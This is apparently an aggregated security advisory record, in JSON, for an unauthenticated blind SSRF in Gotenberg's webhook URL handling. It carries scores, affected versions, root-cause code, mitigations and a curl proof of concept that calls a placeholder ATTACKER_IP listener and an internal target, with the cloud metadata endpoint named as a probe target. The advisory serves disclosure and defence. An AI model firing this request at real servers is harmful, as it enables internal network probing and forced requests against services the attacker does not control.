{"id":"CVE-2026-39383","aliases":["CVE-2026-39383","GHSA-5vh4-rgv7-p9g4","GO-2026-5155"],"related":[],"kind":"vulnerability","state":"published","title":"Gotenberg unauthenticated blind SSRF via unfiltered webhook URL","summary":"Gotenberg is an API-based document conversion tool. In version 8.29.1, an unauthenticated attacker with network access can force the server to make outbound HTTP POST requests to arbitrary internal or external destinations by supplying a crafted URL in the Gotenberg-Webhook-Url request header. The FilterDeadline function in filter.go is intended to gate outbound URLs, but when both the allow-list and deny-list are empty (the default configuration), it returns nil unconditionally and permits any URL. \n\nThis is a blind SSRF: Gotenberg POSTs the converted document to the webhook URL and only checks whether the response status code is an error, but never returns the target's response body to the attacker. An attacker can use this to probe internal network infrastructure by observing whether the error callback is invoked, force POST requests against internal services that perform side effects, and confirm reachability of cloud metadata endpoints. The retryable HTTP client issues up to 4 automatic retries per request, amplifying each probe.\n\nThis issue has been fixed in version 8.31.0. As a workaround, configure the GOTENBERG_API_WEBHOOK_ALLOW_LIST environment variable to restrict webhook URLs to known receivers, or set GOTENBERG_API_WEBHOOK_DENY_LIST to block RFC-1918 and link-local address ranges.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Gotenberg is an API-based document conversion tool. In version 8.29.1, an unauthenticated attacker with network access can force the server to make outbound HTTP POST requests to arbitrary internal or external destinations by supplying a crafted URL in the Gotenberg-Webhook-Url request header. The FilterDeadline function in filter.go is intended to gate outbound URLs, but when both the allow-list and deny-list are empty (the default configuration), it returns nil unconditionally and permits any URL. \n\nThis is a blind SSRF: Gotenberg POSTs the converted document to the webhook URL and only checks whether the response status code is an error, but never returns the target's response body to the attacker. An attacker can use this to probe internal network infrastructure by observing whether the error callback is invoked, force POST requests against internal services that perform side effects, and confirm reachability of cloud metadata endpoints. The retryable HTTP client issues up to 4 automatic retries per request, amplifying each probe.\n\nThis issue has been fixed in version 8.31.0. As a workaround, configure the GOTENBERG_API_WEBHOOK_ALLOW_LIST environment variable to restrict webhook URLs to known receivers, or set GOTENBERG_API_WEBHOOK_DENY_LIST to block RFC-1918 and link-local address ranges.","source":"cvelist"},{"lang":"en","text":"# CVE Report — Unauthenticated SSRF via Unfiltered Webhook URL in Gotenberg\n\n## Severity\n\n| Field     | Value                                  |\n|-----------|----------------------------------------|\n| CVSS v3.1 | **8.6 High**                           |\n| Vector    | `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N` |\n| CWE       | CWE-918 — Server-Side Request Forgery  |\n| Auth      | None                                   |\n\n**Affected:** Gotenberg 8.29.1 — default `gotenberg/gotenberg:8` Docker image.\n\n---\n\n## Impact\n\nAn unauthenticated attacker with network access to Gotenberg can force it to make outbound HTTP POST requests to any internal or external destination by supplying an arbitrary URL in the `Gotenberg-Webhook-Url` request header.\n\n**This is a blind SSRF.** Gotenberg POSTs the converted document to the webhook URL and checks only whether the response status code is an error (>= 400). The response body from the SSRF target is never forwarded to the attacker. The `Gotenberg-Webhook-Error-Url` header — if supplied — receives the original converted PDF when the webhook POST fails, not the target's response body.\n\nThe practical impact is therefore:\n\n- **Internal network probing:** if the error URL is NOT called, the target returned 2xx → host and port are open and accepting POST requests. If the error URL IS called, the target returned 4xx/5xx or timed out → port closed or service rejected the request. This allows mapping internal infrastructure one request at a time. \n- **Forced POST to internal services:** any internal service that performs a side effect on POST (triggering a webhook, writing state, executing a job) can be abused without reading its response.\n- **Cloud metadata interaction:** Gotenberg can be forced to POST to `http://169.254.169.254/` — confirming reachability and probing available paths — but cannot read the credential response body through this channel alone.\n\nThe retryable client issues up to 4 automatic retries per request, meaning one attacker request generates up to 4 probes against the internal target.\n\n---\n\n## Proof of Concept\n\n```bash\n# Minimal SSRF trigger — replace ATTACKER_IP with your listener & INTERNAL_IP with the target.\ncurl -s -o /dev/null -w \"HTTP:%{http_code}\" \\\n  -X POST 'http://TARGET:3000/forms/chromium/convert/url' \\\n  -H 'Gotenberg-Webhook-Url: http://INTERNAL_IP:9999/capture' \\\n  -H 'Gotenberg-Webhook-Error-Url: http://ATTACKER_IP:9999/error' \\\n  -F 'url=https://example.com'\n```\n\n---\n\n## Root Cause\n\n`FilterDeadline` in `filter.go` is the intended URL gating function but its contract fails open: when both the allow and deny lists are empty (the default), it returns `nil` unconditionally, allowing any URL through.\n\n```go\nfunc FilterDeadline(allowed, denied []*regexp2.Regexp, s string, deadline time.Time) error {\n    if len(allowed) > 0 { ... }  // skipped — empty by default\n    if len(denied) > 0  { ... }  // skipped — empty by default\n    return nil                    // any URL passes\n}\n```\n\nThe unvalidated URL is then stored verbatim and used as the destination for an outbound `retryablehttp` request in `client.go:62`.\n\n---\n\n## Recommendations \n\n**Gotenberg maintainers:** Invert the default — deny all webhook URLs unless an explicit allowlist is configured, or ship a built-in denylist covering RFC-1918 and link-local ranges.\n\n**Operators (immediate):**\n```bash\n# Restrict to your own receiver\n--env GOTENBERG_API_WEBHOOK_ALLOW_LIST=\"https://my-receiver\\.example\\.com/.*\"\n# Or block internal ranges\n--env GOTENBERG_API_WEBHOOK_DENY_LIST=\"^https?://(169\\.254\\.|10\\.|172\\.(1[6-9]|2[0-9]|3[01])\\.|192\\.168\\.)\"\n```\n\n---\n\n## Attribution\n\nThis is a Gotenberg-only issue. No third-party library is at fault. The root cause is an insecure default in `FilterDeadline` where an unconfigured state means \"allow all\" rather than \"deny all\".\n\n---\n\n## Timeline\n\n| Date       | Event |\n|------------|-------|\n| 2026-04-04 | Vulnerability discovered |\n| 2026-04-05 | SSRF confirmed — outbound POST captured at local listener |\n| 2026-04-05 | Report drafted for disclosure |","format":"markdown","source":"ghsa"},{"lang":"en","text":"Gotenberg Vulnerable to Unauthenticated SSRF via Unfiltered Webhook URL in github.com/gotenberg/gotenberg","format":"markdown","source":"go"},{"lang":"es","text":"Gotenberg es una herramienta de conversión de documentos basada en API. En la versión 8.29.1, un atacante no autenticado con acceso a la red puede forzar al servidor a realizar solicitudes HTTP POST salientes a destinos internos o externos arbitrarios al proporcionar una URL manipulada en el encabezado de solicitud Gotenberg-Webhook-Url. La función FilterDeadline en filter.go está destinada a controlar las URL salientes, pero cuando tanto la lista de permitidos como la lista de denegados están vacías (la configuración predeterminada), devuelve nil incondicionalmente y permite cualquier URL.\n\nEsto es un SSRF ciego: Gotenberg envía el documento convertido a la URL del webhook y solo verifica si el código de estado de la respuesta es un error, pero nunca devuelve el cuerpo de la respuesta del objetivo al atacante. Un atacante puede usar esto para sondear la infraestructura de red interna observando si se invoca la devolución de llamada de error, forzar solicitudes POST contra servicios internos que realizan efectos secundarios y confirmar la accesibilidad de los puntos finales de metadatos en la nube. El cliente HTTP reintentable emite hasta 4 reintentos automáticos por solicitud, amplificando cada sondeo.\n\nEste problema ha sido solucionado en la versión 8.31.0. Como solución alternativa, configure la variable de entorno GOTENBERG_API_WEBHOOK_ALLOW_LIST para restringir las URL de webhook a receptores conocidos, o establezca GOTENBERG_API_WEBHOOK_DENY_LIST para bloquear los rangos de direcciones RFC-1918 y link-local.","source":"nvd"}],"published":"2026-04-30T17:24:33.000Z","modified":"2026-07-24T21:10:00.143Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","score":6.9,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","score":6.9,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","score":8.6,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","score":7.2,"rating":"HIGH"}],"cwes":["CWE-918"],"affected":[{"ranges":[{"version":"< 8.31.0","status":"affected"}],"vendor":"gotenberg","product":"gotenberg","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"8.29.1","status":"affected","fixed":"8.31.0"}],"ecosystem":"Go","package":"github.com/gotenberg/gotenberg/v8","purl":"pkg:golang/github.com/gotenberg/gotenberg/v8","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/gotenberg/gotenberg/v7","purl":"pkg:golang/github.com/gotenberg/gotenberg/v7","source":"go"},{"ranges":[{"type":"semver","introduced":"8.29.1","status":"affected","fixed":"8.31.0"}],"ecosystem":"Go","package":"github.com/gotenberg/gotenberg/v8","purl":"pkg:golang/github.com/gotenberg/gotenberg/v8","source":"go"},{"ranges":[{"status":"affected","introduced":"8.29.1","fixed":"8.31.0"}],"vendor":"thecodingmachine","product":"gotenberg","cpe":"cpe:2.3:a:thecodingmachine:gotenberg:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/gotenberg/gotenberg/security/advisories/GHSA-5vh4-rgv7-p9g4","tags":["advisory","exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39383","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/gotenberg/gotenberg","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/gotenberg/gotenberg/releases/tag/v8.31.0","tags":["web"],"sources":["ghsa","go"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-05-06T15:32:04.175Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-39383","url":"https://www.cve.org/CVERecord?id=CVE-2026-39383","licence":"CVE Terms of Use","modified":"2026-05-06T15:32:21.539Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-5vh4-rgv7-p9g4","url":"https://github.com/advisories/GHSA-5vh4-rgv7-p9g4","licence":"CC-BY-4.0","modified":"2026-06-25T18:56:17.581Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5155","url":"https://pkg.go.dev/vuln/GO-2026-5155","licence":"CC-BY-4.0","modified":"2026-06-25T18:45:13.449Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-39383","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39383","licence":"Public domain","modified":"2026-07-24T21:10:00.143Z"}],"updatedAt":"2026-11-25T22:59:20.645Z","epss":{"score":0.00236,"percentile":0.15695,"date":"2026-12-01T12:00:22.000Z"}}